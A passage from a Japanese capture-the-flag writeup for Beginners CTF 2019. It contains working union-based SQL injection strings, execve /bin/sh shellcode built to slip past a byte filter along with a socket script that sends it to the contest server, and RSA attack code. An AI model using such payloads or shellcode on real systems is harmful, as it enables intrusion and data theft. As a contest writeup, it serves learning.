LoginSignup
2
1

More than 3 years have passed since last update.

Beginners CTF 2019 writeup?

Posted at

はじめに

Beginners CTF 2019 に1人チームで参加し、1967点で666チーム中45位でした。
参考:第2回 SECCON Beginners CTF(5月25日)開催のお知らせ→登録開始しました! - SECCON 2018
成績:みけCATさんのツイート: "ソロで参加したのだ。とりあえず成績を晒すのだ。writeupとやらも書くのだ。 #ctf4b #SECCON (画像3枚)… "
この記事は、その参加記録のようなものです。
ログやメモなどからなるべく思考過程を再現しているつもりですが、
情報不足や整理などにより事実と異なる可能性があります。

解けた問題

Web

[warmup] Ramen

とりあえず名前の所に「' or 1=1 --」と入れてSEARCHを押すと、

Fatal error: Uncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11 Stack trace: #0 {main} thrown in /var/www/web/public/index.php on line 11

と出た。このことからSQLインジェクションが可能であると推測できる。
さらに、Himitsu(解けなかった問題で後述)でMySQLが使われていたことから、この問題でもMySQLが使われていると予想した。
' or '1'='1でSEARCHすると情報が出たが、フラグの情報は出ない。
また、' union select 1, '2でSEARCHすると、名前「1」、一言「2%」という行が追加された。
このことから、unionによる情報の取得が可能であり、カラム数が2であることがわかる。
%がついたことから、likeが使われていることが予想できる。(このことは今回はあまり関係ない)
そこで、
MySQL :: MySQL 5.6 リファレンスマニュアル :: 21.4 INFORMATION_SCHEMA COLUMNS テーブル
を参考に
' union select TABLE_NAME, TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where 1=1 or '1'='3
でSEARCHした結果、flagテーブルがあることがわかった。さらに、
MySQL でテーブルやカラムの情報を確認する方法まとめ :: by and for engineers
を参考に
' union select TABLE_NAME, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where 1=1 or '1'='3
でSEARCHし、flagテーブルにはflagカラムがあるという情報を得た。
これをもとに、
' union select flag, flag from flag where 1=1 or '1'='3
でSEARCHすることで、flag ctf4b{a_simple_sql_injection_with_union_select}が得られた。

katsudon

問題に「フラグは以下にあります。 」という説明がついたリンクがあり、リンク先には

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a`

という文字列があった。
また、問題では「クーポンコードを復号するコード」も与えられているが、
これはほぼAPIを呼び出しているだけであり、あまり情報がないと考えていた。
しかし、この呼び出しているAPIであるRails.application.message_verifierでググったところ、
RailsのMessageVerifierの内部実装を追ってみた - Qiita
がヒットし、先ほどの文字列の--で区切った前半部分はbase64エンコードした文字列らしいことがわかった。
そこで、これをbase64デコードすると、

   |  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF
---+-----------------------------------------------------------------
00 | 04 08 49 22 25 63 74 66 34 62 7B 4B 33 33 50 5F ..I"%ctf4b{K33P_
10 | 59 30 55 52 5F 35 33 43 52 33 37 5F 4B 33 59 5F Y0UR_53CR37_K3Y_
20 | 42 34 35 33 7D 06 3A 06 45 54                   B453}.:.ET

となり、ここからflag ctf4b{K33P_Y0UR_53CR37_K3Y_B453}が得られた。

Pwnable

[warmup] shellcoder

指定のIPアドレスとポートにTera Termの「その他」で接続すると、Are you shellcoder?と表示された。
そして、適当なキーを押してみると、すぐに接続が切れてしまった。
shellとのことなので、cat /etc/passwdとかecho hogeといった適当なコマンドを貼り付けて入力すると、
Payload contains invalid character!!と表示された。
(直接キーを押して入力すると接続が切れてしまうため、貼り付けで入力した)

問題で与えられたファイルを7-Zipで解凍すると、shellcoder1ファイルが得られた。
このファイルをバイナリエディタで開くと、先頭に「ELF」の文字が見えた。
これを普通にobjdumpにかけてもFile format not recognizedと出てしまったため、
バイナリエディタで目視し、機械語コードっぽい部分、すなわち

  • まわりに比べて00でないバイトが多い
  • 意味があるASCIIの文字列が少ない

を満たす部分を抽出した。今回は0x710~0xC2Fの部分を抽出した。
そして、これをseems_text.binとして保存し、
objdump -m i386:x86-64 -b binary -D seems_text.bin
というコマンドで逆アセンブルした。
すると、main関数と推測できる部分は

 157:   55                      push   %rbp
 158:   48 89 e5                mov    %rsp,%rbp
 15b:   48 83 ec 10             sub    $0x10,%rsp
 15f:   41 b9 00 00 00 00       mov    $0x0,%r9d
 165:   41 b8 ff ff ff ff       mov    $0xffffffff,%r8d
 16b:   b9 21 00 00 00          mov    $0x21,%ecx
 170:   ba 07 00 00 00          mov    $0x7,%edx
 175:   be 00 10 00 00          mov    $0x1000,%esi
 17a:   bf 00 00 00 00          mov    $0x0,%edi
 17f:   e8 1c fe ff ff          callq  0xffffffa0
 184:   48 89 45 f8             mov    %rax,-0x8(%rbp)
 188:   48 8d 3d 39 01 00 00    lea    0x139(%rip),%rdi        # 0x2c8
 18f:   e8 fc fd ff ff          callq  0xffffff90
 194:   48 8b 45 f8             mov    -0x8(%rbp),%rax
 198:   ba 28 00 00 00          mov    $0x28,%edx
 19d:   48 89 c6                mov    %rax,%rsi
 1a0:   bf 00 00 00 00          mov    $0x0,%edi
 1a5:   e8 36 fe ff ff          callq  0xffffffe0
 1aa:   48 8b 45 f8             mov    -0x8(%rbp),%rax
 1ae:   be 62 00 00 00          mov    $0x62,%esi
 1b3:   48 89 c7                mov    %rax,%rdi
 1b6:   e8 05 fe ff ff          callq  0xffffffc0
 1bb:   48 85 c0                test   %rax,%rax
 1be:   75 58                   jne    0x218
 1c0:   48 8b 45 f8             mov    -0x8(%rbp),%rax
 1c4:   be 69 00 00 00          mov    $0x69,%esi
 1c9:   48 89 c7                mov    %rax,%rdi
 1cc:   e8 ef fd ff ff          callq  0xffffffc0
 1d1:   48 85 c0                test   %rax,%rax
 1d4:   75 42                   jne    0x218
 1d6:   48 8b 45 f8             mov    -0x8(%rbp),%rax
 1da:   be 6e 00 00 00          mov    $0x6e,%esi
 1df:   48 89 c7                mov    %rax,%rdi
 1e2:   e8 d9 fd ff ff          callq  0xffffffc0
 1e7:   48 85 c0                test   %rax,%rax
 1ea:   75 2c                   jne    0x218
 1ec:   48 8b 45 f8             mov    -0x8(%rbp),%rax
 1f0:   be 73 00 00 00          mov    $0x73,%esi
 1f5:   48 89 c7                mov    %rax,%rdi
 1f8:   e8 c3 fd ff ff          callq  0xffffffc0
 1fd:   48 85 c0                test   %rax,%rax
 200:   75 16                   jne    0x218
 202:   48 8b 45 f8             mov    -0x8(%rbp),%rax
 206:   be 68 00 00 00          mov    $0x68,%esi
 20b:   48 89 c7                mov    %rax,%rdi
 20e:   e8 ad fd ff ff          callq  0xffffffc0
 213:   48 85 c0                test   %rax,%rax
 216:   74 16                   je     0x22e
 218:   48 8d 3d c1 00 00 00    lea    0xc1(%rip),%rdi        # 0x2e0
 21f:   e8 6c fd ff ff          callq  0xffffff90
 224:   bf 00 00 00 00          mov    $0x0,%edi
 229:   e8 52 fd ff ff          callq  0xffffff80
 22e:   48 8b 55 f8             mov    -0x8(%rbp),%rdx
 232:   b8 00 00 00 00          mov    $0x0,%eax
 237:   ff d2                   callq  *%rdx
 239:   b8 00 00 00 00          mov    $0x0,%eax
 23e:   c9                      leaveq 
 23f:   c3                      retq   

となっていた。
これを見ると、即値として書かれている0x28、0x62、0x69、0x6e、0x73、0x68がポイントになりそうに思えた。
これらは、ASCIIでは(、b、i、n、s、hであった。この文字の組み合わせとshellというキーワードから、
/bin/shとなにか関係がありそうに思えた。
さらに重要なポイントとして、アドレス237において、
なんと驚くべきことに入力された文字列を機械語の関数として呼び出しているということが読み取れた。
任意コード実行の脆弱性というより、これは最初から任意コードを実行する仕様のようである。
そこで、ここに入力して実行してもらうコードを作る作業に移ることにした。

実験を行った結果、入力に0x62、0x69、0x6e、0x73、0x68のいずれかが入っていると実行してくれないようであった。
また、入力の長さが0x28バイトを超えてしまうと、うまく実行できないようであった。
この制約をかわしつつ、うまくflagを取得できるような機械語コードを作れば良さそうである。
幸い、短い機械語を書くのはデスマコロシアムで経験していた。
そして、nasmを用いることで、アセンブリ言語をx86-64の機械語に変換してくれる。
システムコールの情報は、
Linux System Call Table for x86 64 · Ryan A. Chapman
などを参考にした。

まず意味がある情報を得られたのが、execveシステムコールを用いてlsを実行する以下のコードである。

exec.s
bits 64
; /bin/ls
mov rax, 0x70602060606020
mov rdi, 0x030C0f0e09020f
add rax, rdi
push rax
mov rdi, rsp ; filename
xor rdx, rdx ; envp
push rdx
push rdi
mov rsi, rsp ; argv
push 59
pop rax ; sys_execve
syscall
000000 48 b8 20 60 60 60 20 60 70 00 48 bf 0f 02 09 0e
000010 0f 0c 03 00 48 01 f8 50 48 89 e7 48 31 d2 52 57
000020 48 89 e6 6a 3b 58 0f 05
000028

チェックに引っかかるバイトを含まず、ちょうど0x28バイトである。
この成果だけからではわからないが、以下のポイントがあった。

  • add rax, 即値命令では即値が32ビットを超えられないようだったので、一旦レジスタに格納してからaddした。
  • mov rdx, 0mov rax, 59では数値で4バイト使ってしまうので、xorpushpopで代用した。
  • すでに0にしたrdxを用いてpush rdxするほうが、push 0より短くなった。
  • どうせexecveが成功すれば今のプログラムは消えるので、syscallの後でスタックの片付けやretをする必要はない。

バイナリデータをTera Termに貼り付けるのは難しそうなので、この入力を与えるために以下のプログラムを用いた。

communicate.pl
#!/usr/bin/perl

use strict;
use warnings;

my $data = "";

open(FILE, "< $ARGV[0]") or die("file open failed\n");
binmode(FILE);
while (<FILE>) { $data .= $_; }

use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"153.120.129.186", PeerPort=>20000, Proto=>"tcp");
die "socket error $!\n" unless $sock;
print $sock $data;
while (<$sock>) { print; }
close($sock);

このプログラムの引数に先ほどの機械語データ(ダンプではなくバイナリ)のファイルを与えて実行すると、

Are you shellcoder?
flag.txt
shellcoder

という出力が得られた。このことから、次にこのflag.txtを読む方法を考えることにした。
しかし、コードの長さはlsを引数なしで呼んだだけでギリギリであり、
catコマンドやopenシステムコールを用いてファイルを読むのは厳しそうである。
そこで考えた方法は、先ほどのコードの

; /bin/ls
mov rax, 0x70602060606020
mov rdi, 0x030C0f0e09020f

の部分を

; /bin/sh
mov rax, 0x60702060606020
mov rdi, 0x08030f0e09020f

とし、続いて標準入力からシェルのコマンドを与えることであった。
このシェルのコマンドを与えるため、先ほどの通信プログラムの

print $sock $data;

の後に

print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";

を追加した。これを実行すると、

Are you shellcoder?
flag.txt
shellcoder
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

という出力が得られた。

Reversing

[warmup] Seccompare

問題で与えられたファイルを7-Zipで展開すると、._seccompareおよびseccompareの2ファイルが得られた。
前者のファイルは、重要な情報は含まないリソースフォークのようであった。
(このリソースフォークに気に入らない情報がある時、OSが嘘をついてユーザーを困らせる事件があったが、ここではあまり関係ない)
後者のファイルをバイナリエディタで開くとELFの文字が見えたので、
同様に機械語コードっぽかった0x498~0x8D4の部分を切り取り、objdumpで逆アセンブルした。
すると、何らかの文字列を生成していると考えられる

 198:   c6 45 d0 63             movb   $0x63,-0x30(%rbp)
 19c:   c6 45 d1 74             movb   $0x74,-0x2f(%rbp)
 1a0:   c6 45 d2 66             movb   $0x66,-0x2e(%rbp)
 1a4:   c6 45 d3 34             movb   $0x34,-0x2d(%rbp)
 1a8:   c6 45 d4 62             movb   $0x62,-0x2c(%rbp)
 1ac:   c6 45 d5 7b             movb   $0x7b,-0x2b(%rbp)
 1b0:   c6 45 d6 35             movb   $0x35,-0x2a(%rbp)
 1b4:   c6 45 d7 74             movb   $0x74,-0x29(%rbp)
 1b8:   c6 45 d8 72             movb   $0x72,-0x28(%rbp)
 1bc:   c6 45 d9 31             movb   $0x31,-0x27(%rbp)
 1c0:   c6 45 da 6e             movb   $0x6e,-0x26(%rbp)
 1c4:   c6 45 db 67             movb   $0x67,-0x25(%rbp)
 1c8:   c6 45 dc 73             movb   $0x73,-0x24(%rbp)
 1cc:   c6 45 dd 5f             movb   $0x5f,-0x23(%rbp)
 1d0:   c6 45 de 31             movb   $0x31,-0x22(%rbp)
 1d4:   c6 45 df 73             movb   $0x73,-0x21(%rbp)
 1d8:   c6 45 e0 5f             movb   $0x5f,-0x20(%rbp)
 1dc:   c6 45 e1 6e             movb   $0x6e,-0x1f(%rbp)
 1e0:   c6 45 e2 30             movb   $0x30,-0x1e(%rbp)
 1e4:   c6 45 e3 74             movb   $0x74,-0x1d(%rbp)
 1e8:   c6 45 e4 5f             movb   $0x5f,-0x1c(%rbp)
 1ec:   c6 45 e5 65             movb   $0x65,-0x1b(%rbp)
 1f0:   c6 45 e6 6e             movb   $0x6e,-0x1a(%rbp)
 1f4:   c6 45 e7 30             movb   $0x30,-0x19(%rbp)
 1f8:   c6 45 e8 75             movb   $0x75,-0x18(%rbp)
 1fc:   c6 45 e9 67             movb   $0x67,-0x17(%rbp)
 200:   c6 45 ea 68             movb   $0x68,-0x16(%rbp)
 204:   c6 45 eb 7d             movb   $0x7d,-0x15(%rbp)
 208:   c6 45 ec 00             movb   $0x0,-0x14(%rbp)

という部分があった。
そこで、この部分をテキストエディタの置換機能などで以下の実行できるコードに変換し、

test.s
.global hoge
.global _hoge
hoge:
_hoge:
movl 4(%esp), %eax
movb   $0x63,-0x30(%eax)
movb   $0x74,-0x2f(%eax)
movb   $0x66,-0x2e(%eax)
movb   $0x34,-0x2d(%eax)
movb   $0x62,-0x2c(%eax)
movb   $0x7b,-0x2b(%eax)
movb   $0x35,-0x2a(%eax)
movb   $0x74,-0x29(%eax)
movb   $0x72,-0x28(%eax)
movb   $0x31,-0x27(%eax)
movb   $0x6e,-0x26(%eax)
movb   $0x67,-0x25(%eax)
movb   $0x73,-0x24(%eax)
movb   $0x5f,-0x23(%eax)
movb   $0x31,-0x22(%eax)
movb   $0x73,-0x21(%eax)
movb   $0x5f,-0x20(%eax)
movb   $0x6e,-0x1f(%eax)
movb   $0x30,-0x1e(%eax)
movb   $0x74,-0x1d(%eax)
movb   $0x5f,-0x1c(%eax)
movb   $0x65,-0x1b(%eax)
movb   $0x6e,-0x1a(%eax)
movb   $0x30,-0x19(%eax)
movb   $0x75,-0x18(%eax)
movb   $0x67,-0x17(%eax)
movb   $0x68,-0x16(%eax)
movb   $0x7d,-0x15(%eax)
movb   $0x0,-0x14(%eax)
ret

これを実行するための以下のコードも作り、

testd.c
#include <stdio.h>

char* hoge(char*);

int main(void) {
    char buffer[512];
    int i;
    for (i = 0; i < 512; i++) buffer[i] = ' ';
    buffer[511] = 0;
    hoge(buffer + 256);
    puts(buffer);
    return 0;
}

実行すると、ctf4b{5tr1ngs_1s_n0t_en0ugh}という文字列が出てきた。

Crpto

Party

与えられたファイルを7-Zipで展開すると、encrypt.pyおよびencryptedの2ファイルが得られた。
encryptedの中身は、多くの数字と少しの記号を含むテキストファイルのようであった。
encrypt.pyを読むと、

val[0] = coeff[0] * 1 + coeff[1] * party[0] + coeff[2] * party[0] * party[0]
val[1] = coeff[0] * 1 + coeff[1] * party[1] + coeff[2] * party[1] * party[1]
val[2] = coeff[0] * 1 + coeff[1] * party[2] + coeff[2] * party[2] * party[2]

partyvalの値を出力するようであり、encryptedはこのファイルの出力であると予想できた。
この予想が正しいと仮定すると、valpartyの値がわかっており、coeffの値を求めたいことになる。
未知の変数が3個、方程式が3個あるので、普通の連立方程式で解くことができそうであった。
そこで、encryptedの中身の数値を順番に1行ずつにしたファイルdata.txtを用意し、以下のプログラムで解いた。

solve.py
file = open("data.txt", "r")
party = []
val = []
for i in range(3):
    party.append(int(file.readline()))
    val.append(int(file.readline()))
file.close()

data = [[1, party[i], party[i] * party[i], val[i]] for i in range(3)]

def sublist(a, b):
    if len(a) != len(b):
        raise Exception("len(a) != len(b)")
    return [a[i] - b[i] for i in range(len(a))]

def mullist(a, b):
    return [a[i] * b for i in range(len(a))]

a1 = sublist(data[0], data[1])
a2 = sublist(data[1], data[2])

a1_2 = mullist(a1, a2[1])
a2_2 = mullist(a2, a1[1])

b = sublist(a1_2, a2_2)

if b[3] % b[2] != 0:
    raise Exception("OMG")

c2 = b[3] // b[2]

hoge = a1[3] - a1[2] * c2
if hoge % a1[1] != 0:
    raise Exception("OMG!")

c1 = hoge // a1[1]

c0 = data[0][3] - data[0][2] * c2 - data[0][1] * c1

print(c0)
print(c1)
print(c2)

この出力を元に、coeff[0]、すなわちsecretの値を以下のコードで文字列に変換した。

siage.py
data = 175721217420600153444809007773872697631803507409137493048703574941320093728

res = ""
while data > 0:
    res = chr(data % 256) + res
    data //= 256

print(res)

すると、ctf4b{just_d0ing_sh4mir}の後に7個の半角空白がついた出力が得られた。

Go RSA

問題文は「Nだけなくしちゃった」と主張している。
指定のIPアドレスとポートにTera Termの「その他」で接続すると、

  1. Encrypted flagとして大きな整数を出力する。
  2. 整数の入力を受け付ける。整数を入力すると、それに対応すると予想できる整数を出力する。これを最大3回行う。
  3. Dとして大きな整数を出力し、切断する。

という動作をするようだった。
2において、1を入力すると1が出力され、2以上を入力すると大きな整数が出力されるようだったので、
RSAということも踏まえ、入力された整数の(何らかの数)乗を(何らかの数)で割ったあまりが出力されると予想できた。

考えた結果、入力としてある数の2乗、3乗の数を与えると、出力も2乗、3乗のあまりになることに気がついた。
さらに、あまりは割られる数から割る数の整数倍を引いた値になることにも注目した。
その結果、例えば2、4(2の2乗)、8(2の3乗)を入力したときの出力X、Y、Zから、

X = a^e mod n
Y = (a*a)^e mod n = (a^e mod n)^2 mod n
Z = (a*a*a)^e mod n = (a^e mod n)^3 mod n

Y = X*X - k*n
Z = X*X*X - l*n

k*n = X*X - Y
l*n = X*X*X - Z

という計算により、割る数nを公約数にもつ2個の値を得られることに気がついた。
kとlが互いに素でないと失敗しそうであるとはいえ、この2個の値の最大公約数をとれば、nが得られる可能性がある。

この計算を行うプログラム

hoge.py
import sys

s = sys.stdin
s.readline()
s.readline()
x = int(s.readline())
s.readline()
y = int(s.readline())
s.readline()
z = int(s.readline())

kn = x*x - y
ln = x*x*x - z

asumisu = kn
mizuhasu = ln

while mizuhasu > 0:
    sinntasu = asumisu % mizuhasu
    asumisu = mizuhasu
    mizuhasu = sinntasu

print(asumisu)

に、通信の記録

Encrypted flag is: 12968484664095522062317547964770334394674293985796898385914578647244488731997515822033886983544579317900161775107280211719709190488120045995279166076857970878710064033153487421882534814506483152943389455581001778407755420166428916127844036606938757900301403646886327393814245536073917730165916373193691368297497139511533568431948170125564849799489770360583965827387013302945005978796837695972560304594892016772403622637673057003665472918568072548580225352479233430485655501342554221996572866401240638639293592162167685111462533150504777316881903592046285552352170050041840902287345552862364769094806569564909568476655
> 2
620517047040878891229747270597970604280606632383061817641013225972474578118090371816409969813227497868496013826787634232331770505271744232321322357239318813401698281146876764263223150126645385974930789960801423173363010153643690290499617353500177900877395796927372312399626761823433821743298082814217744276907153319462991388971942826443204443419584956366676808954603926289715132026876597932853104871665792458622523502032259150963092535644538747784384772105376460895356011431772108577326729094589127407645706363480195394270351282560489999391559545814937339833087196231399072538531256669308170450280100918956742348277
> 4
16179746374879644966102073961700669374219462742570766317023131488184269235058174266636320733911838251615188879398239854763249822099861370917627409691580337513969145306846444827518587151206253664155468688858438138030649915975059174336210330799896903569510907148194801734646102731115383942091023541531198580345456041053231187654890135609003019425552803962146555738990279867936113607134211112565307882168563930052451853722069579791245645491149550024608822975154741221781596656687691170580722423275443888038228821161807929316121418578291082095362914978978293798324202502421766571227177655511520874580245288811674270726875
> 8
12217164569464658721385783463852207351995060559458817092789594592718781909066282420327065531884715125356932461442528994269694155964224625045777417904630423956457905608128224487395407035383467874587959228476638635010684096378151870709507931006124407002937406366484834012437632921662780849259536130061756827577741672768561910740466330797649127716387838939929139587914842977536104089568448104736421467615190090315031193697752634828040330456461033424458867115403726420788140693214500090560798203843687696664398807625625103462782856380168552153854527329477341982042498950762707517500750691353105617765747368248899619338154
The D was 14892931564659946751076364001889048329817927962147420692031849755936937325161319653151989064562025072407456485226523831371763806890132259347437276883400300902935777436295914845139759744368844376435028049549534255857448751305823517811479984356001950484730883065017704813245247567194492388759499757819959011370105194371150872336355551088897934267360489788399426110426889357125446985528234860576510314150671537157159789107705031502782838367298600119421990968944456473004122373494532695143639045012220249023511356844022282721987751217681859787520687977068608595781187506533180838080624114542881571311388321688806873000705

を与えて実行すると、

18467381668680824381769690221596203746145416348581993300039569693764456623762533226909519172863873404419274117768309474317174082573196811489688125616956889432295883710030374843069787980903295124090335905610531796831333134305792702013376291053116245911560733433589368809991178948974976305194341474840056265196720645056995071633309617287474000166120098899128916217071927851786852243755559745800326893389462274881772252539742235489595958263584402009658703992636218796351415524164369343473951140143405752575354991287025942531851724269340436379049725977221536602433396064106962418531766572081246964090573900428139223344021

という出力が得られた。
これをnだと仮定し、以下のプログラムで文字列を求めた。

siage.py
encrypted = 12968484664095522062317547964770334394674293985796898385914578647244488731997515822033886983544579317900161775107280211719709190488120045995279166076857970878710064033153487421882534814506483152943389455581001778407755420166428916127844036606938757900301403646886327393814245536073917730165916373193691368297497139511533568431948170125564849799489770360583965827387013302945005978796837695972560304594892016772403622637673057003665472918568072548580225352479233430485655501342554221996572866401240638639293592162167685111462533150504777316881903592046285552352170050041840902287345552862364769094806569564909568476655
d = 14892931564659946751076364001889048329817927962147420692031849755936937325161319653151989064562025072407456485226523831371763806890132259347437276883400300902935777436295914845139759744368844376435028049549534255857448751305823517811479984356001950484730883065017704813245247567194492388759499757819959011370105194371150872336355551088897934267360489788399426110426889357125446985528234860576510314150671537157159789107705031502782838367298600119421990968944456473004122373494532695143639045012220249023511356844022282721987751217681859787520687977068608595781187506533180838080624114542881571311388321688806873000705
n = 18467381668680824381769690221596203746145416348581993300039569693764456623762533226909519172863873404419274117768309474317174082573196811489688125616956889432295883710030374843069787980903295124090335905610531796831333134305792702013376291053116245911560733433589368809991178948974976305194341474840056265196720645056995071633309617287474000166120098899128916217071927851786852243755559745800326893389462274881772252539742235489595958263584402009658703992636218796351415524164369343473951140143405752575354991287025942531851724269340436379049725977221536602433396064106962418531766572081246964090573900428139223344021

data = pow(encrypted, d, n)

res = ""
while data > 0:
    res = chr(data % 256) + res
    data //= 256

print(res)

その結果、ctf4b{f1nd_7he_p4ramet3rs}という出力が得られた。

Bit Flip

指定のIPアドレスとポートにTera Termの「その他」で接続すると、
大きい整数が1個出力され、すぐに切断されるようであった。
出力される整数は、毎回変わるようであった。
与えられたコードを読んだ結果、この整数は、数値化したflagの下位4分の1から1ビットを反転し、
3乗したものをNで割った余りのようであった。
Nは10進数で308桁なので、約1000ビットである。
そして、下位からnビット目(0-origin)を反転することの効果は、もとの数値に2のn乗を足すか引くかである。

これを踏まえ、
公開鍵暗号 - RSA - 基礎 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです
などでRSA暗号への攻撃について調べた結果、
Franklin-Reiter Related Message Attackというのが使えそうであることがわかった。
この攻撃方法はLow-Exponent RSA with Related Messagesにかかれており、
今回の場合はe=3なので、深く考えずに2ページ目の式をα=1で使えばよい。
ただし、今回得られる2個の平文はそれぞれどこか1ビットが反転しているが、どこが反転しているかはわからない。
そこで、どこが反転しているか、そしてどっち向きに反転しているかを全探索することにした。
当たればflagの文字列が出てくると仮定し、この全探索を実装したのが以下のコードである。

fuga.py
n = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331

c1 = 25138036236405664974027229470640486719995035492067341819862000247619436232608813726316842755297086267054127101107927351169810713998732340978333710972218130953186042217594817358002450383826009659091497317753363517397431946920947144520433915471925013429582983019764594262561222272278469484033179820128674680252
c2 = 26481213542704101675110199745669529695325877848624565668561662861204500360579976292570630436833011367359803773772883067535404022300084829509142130326532785824482583422222323015400802606909332900978841037209435856260974355456304466144949768850834519221013991419108523647259166541535631881583879282864442529426

# http://taichino.com/programming/2628
def egcd(a, b):
    (x, lastx) = (0, 1)
    (y, lasty) = (1, 0)
    while b != 0:
        q = a // b
        (a, b) = (b, a % b)
        (x, lastx) = (lastx - q * x, x)
        (y, lasty) = (lasty - q * y, y)
    return (lastx, lasty, a)
def modinv(a, m):
    (inv, q, gcd_val) = egcd(a, m)
    return inv % m

def num2str(n):
    res = ""
    while n > 0:
        if n % 256 > 127:
            return ""
        res = chr(n % 256) + res
        n = n // 256
    return res

for b1 in range(300):
    for b2 in range(b1 + 1, 300):
        d1 = 1 << b1
        d2 = 1 << b2
        for b in [d1 + d2, d1 - d2, -d1 + d2, -d1 - d2]:
            bunsi = b * (c2 + 2*c1 - b*b*b)
            bunbo = c2 - c1 + 2*b*b*b
            value = (bunsi * modinv(bunbo, n)) % n
            s = num2str(value)
            if s.find("ctf") >= 0:
                print("b1 = %d, b2 = %d, s = %s" % (b1, b2, s))

このコードを実行した結果、

b1 = 212, b2 = 243, s = ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMIDUMMYDUMMYDUMMYDUMMYDUMMY

という出力が得られた。

Misc

[warmup] Welcome

IRC: freenode.net #seccon-beginners-ctf

とのことだったので、LimeChatでIRCへの接続を試みた。
ホスト名を書かれている通りfreenode.netに設定し、
TCPやUDPにおけるポート番号の一覧 - Wikipedia
を参考にIRC系のポート番号を試していき、SSL接続のオンオフも試したが、接続できなかった。

そこで、freenode.netでググった結果、
Connecting to freenode - freenode
がヒットした。
そして、ここを参考に、ホスト名をchat.freenode.net、ポート番号を6697、SSL接続をオンに設定した。
すると、接続に成功し、

topic : 競技に関する質問等はこちらで受け付けます FLAG: ctf4b{welcome_to_seccon_beginners_ctf}

という形でflagが現れた。

containers

与えられたファイルをテキストエディタで開くと、IHDRという文字列が多く見られた。
したがって、このファイル中にはPNGファイルが多く含まれていると予想できた。
そこで、「以前聞いた、ディスクイメージなどから画像ファイルなどを抽出するソフト」の利用を試みることにした。
メモに基づいてForemostをダウンロードし、ビルドを試みた。
configureファイルはなくMakefileファイルはあったことから、とりあえずmakeコマンドを打ったところ、
__U16_TYPEが定義されていないというエラーになってしまった。
そこで、エラーになったファイルをコマンドラインに-D__U16_TYPE="unsigned short"オプションを追加して手動でコンパイルし、
ビルドを進めたところ、-libertyが見つからないというエラーになってしまった。
そのため、手間がかかりそうだと判断し、Foremostの利用は諦めた。

次に、与えられたファイルをバイナリエディタで開き、もう少しよく観察すると、
最初に「CONTAINER.」という文字列があり、その後「FILE(数字).」の後にデータが続く構造の繰り返しのようであった。
バイナリエディタで「FILE」を検索してみた結果、このファイルで「FILE」の後に来るのはPNGデータだけのようであった。
そこで、以下のプログラムにより、PNGのシグネチャから始まる部分を抽出した。

extract.py
import sys

inn = sys.argv[1]

inf = open(inn, "rb")
data = inf.read()

sig = b"\x89\x50\x4E\x47\x0d\x0a\x1a\x0a"

start = 0

count = 0
while True:
    next = data.find(sig, start)
    if next < 0:
        break
    of = open("out/%03d.png" % count, "wb")
    count += 1
    of.write(data[next:])
    of.close()
    start = next + 1

このプログラムにより、39個のPNGファイルが得られた。
もとのファイルの最後まで抽出しているため、PNGデータの後に余計なデータがくっつくが、
画像の閲覧には支障が無いようであった。
PNGファイルには、1枚に1文字ずつ文字が書かれていた。
それらを順番に書き出していくと、ctf4b{e52df60c058746a66e4ac4f34db6fc81}となった。

Dump

与えられたファイルをバイナリエディタで開くと、HTTP通信と思われる文字列が見えた。
そこで、stringsコマンドを用いて文字列を抽出してみた。
すると、だいたいはデータが出てきたが、一部にゴミが入ってしまい、これを取り除くのは手間が掛かりそうだと感じた。
そこで、与えられたファイルをWiresharkにドロップしてみた。
その結果、読み込みに成功し、少量のICMPパケットと大量のTCPパケットが表示された。
その中から2本目のHTTPレスポンスが始まっていると思われるパケットを右クリックし、
「追跡」→「TCPストリーム」を選択した。
すると、HTTPのchunkedエンコーディングのデータ長は入っているが、
中途半端な位置にはゴミが入っていないデータが得られた。
そこで、以下のプログラムにより、「数字3文字→空白→数字3文字」のパターンが入っていない行を取り除いた。

filter.pl
#!/usr/bin/perl

use strict;
use warnings;

while (my $line = <STDIN>) {
    if ($line =~ /\d{3} \d{3}/) {
        print $line;
    }
}

そして、これらの数字は3文字ずつ並んでいるから8進数であると思い、以下のプログラムでバイト列に変換した。

convert_o.c
#include <stdio.h>

int main(int argc, char* argv[]) {
    FILE* o;
    char in[8];
    if (argc < 2 || (o = fopen(argv[1], "wb")) == NULL) {
        puts("error");
        return 1;
    }
    while (scanf("%7s", in) == 1) {
        int ini = 0;
        if (sscanf(in, "%o", &ini) == 1) {
            putc(ini, o);
        }
    }
    fclose(o);
    return 0;
}

すると、よくわからないファイルが得られた。
これを7-Zipで開いてみると、開くことができ、flag.jpg./._flag.jpgが得られた。
ここから、./._flag.jpgは重要ではなさそうと判断し、flag.jpgのみを取り出した。
すると、画像中にctf4b{hexdump_is_very_useful}という文字列が書かれていた。

Sliding puzzle

以下の問題文、およびIPアドレスとポートが与えられた。

スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。

スライドパズルは以下のように表示されます。

----------------
|  0 |  2 |  3 |
|  6 |  7 |  1 |
|  8 |  4 |  5 |
----------------

0 はブランクで動かすことが可能です。操作方法は以下のとおりです。

0 : 上
1 : 右
2 : 下
3 : 左

最終的に以下の形になるように操作してください。

----------------
|  0 |  1 |  2 |
|  3 |  4 |  5 |
|  6 |  7 |  8 |
----------------

操作手順は以下の形式で送信してください。

1,3,2,0, ... ,2

指定のIPアドレスとポートにTera Termの「その他」で接続すると、以下のような出力が得られた。

----------------
| 01 | 02 | 05 |
| 07 | 06 | 04 |
| 03 | 08 | 00 |
----------------

問題文に無かった0が入ってるやんけ、「ように」の範囲か…?と思いつつ、
